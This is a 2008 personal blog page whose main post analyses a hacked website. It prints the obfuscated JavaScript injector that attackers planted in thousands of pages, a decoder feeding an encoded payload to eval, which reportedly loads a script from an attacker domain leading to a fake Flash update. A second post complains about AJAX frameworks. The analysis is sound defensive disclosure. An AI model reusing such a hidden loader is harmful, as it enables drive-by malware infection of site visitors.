NiceGuyUK Blog
Wednesday, April 30, 2008
  Anatomy of a web hack
One of my websites recently got hacked (through FTP - provider says its password related, but I'm not convinced). The miscreant put over 5000 HTML pages in one of my directories, each of which is infected with a piece of obfuscated javascript. I've tidied it up for readability :-


function F(WY,e)
{
if(!e)
{
e='kUZ$caiWxQYNso/B-8E(b>p{]K5nl2u}F3L#t7;gCGj!w")rI0X6h?vSAdT1P%*=';
}
var y;
var OR='';
for(var m=0;m {
y = (e.indexOf(WY.charAt(m))&255)<<18|(e.indexOf(WY.charAt(m+1))&255)<<12|(e.indexOf(WY.charAt(m+2))&255)<<6|e.indexOf(WY.charAt(m+3))&255;
OR += String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);
}
eval(OR.substring(0,OR.length-3));
}
F('Ki%#2p?7ng-)2SQG2ibCQ60(-Xl!Q?QQba-F(ca/8?>U8hb%xtG32;a(]Xl!QSQGlW-LxWoX]6hL5W8hl$CrNv8)lv?3n;agK{Q65{87N;7)K;PrKid6lS832ZdjlXx*BZ%(-?QQQXwgba-*QXt1kkkk');


What this does is call another script from another domain (dnsmanagersite.info). This script, in turn, forces a redirect to a porn site, which tries to force you to download what it claims is an update for Adobe Flash. I have no doubt at all that it is a virus/trojan/keylogger/backdoor or other such piece of crap.
 
Tuesday, April 22, 2008
  The trouble with AJAX frameworks...
As my brother would say, I've been busier than a one-legged Riverdancer just lately....

I'm working for two clients simultaneously - a mix of Classic ASP and ASP.Net by day and PHP5 by night. In both cases, I'm making use of AJAX Frameworks and herein lies the problem. Conceptually, using a framework rather than dong everything yourself "from scratch" is a good thing, since it should save re-inventing the wheel.

However, I'm finding in both cases (Microsoft ASP.Net Ajax for one, QCodo for the other) that things are either incomplete, inadequately documented, or just plain broken. I'm increasingly finding myself spending more time fixing little rendering issues (or things that don't render at all) and less time dealing with the core functionality of the application.

Its frustrating, to say the least.
 
NiceGuyUK's blog

My Photo
Name: Rob Cowell
Location: Folkestone, Kent, United Kingdom
Archives
May 2003 / June 2003 / July 2003 / August 2003 / September 2003 / October 2003 / November 2003 / December 2003 / January 2004 / February 2004 / March 2004 / April 2004 / May 2004 / June 2004 / July 2004 / August 2004 / September 2004 / October 2004 / November 2004 / December 2004 / January 2005 / February 2005 / March 2005 / April 2005 / May 2005 / June 2005 / July 2005 / August 2005 / September 2005 / October 2005 / November 2005 / December 2005 / January 2006 / February 2006 / March 2006 / April 2006 / May 2006 / June 2006 / July 2006 / September 2006 / October 2006 / November 2006 / December 2006 / January 2007 / February 2007 / March 2007 / April 2007 / May 2007 / July 2007 / September 2007 / November 2007 / December 2007 / January 2008 / February 2008 / March 2008 / April 2008 / May 2008 /


Powered by Blogger

Subscribe to
Posts [Atom]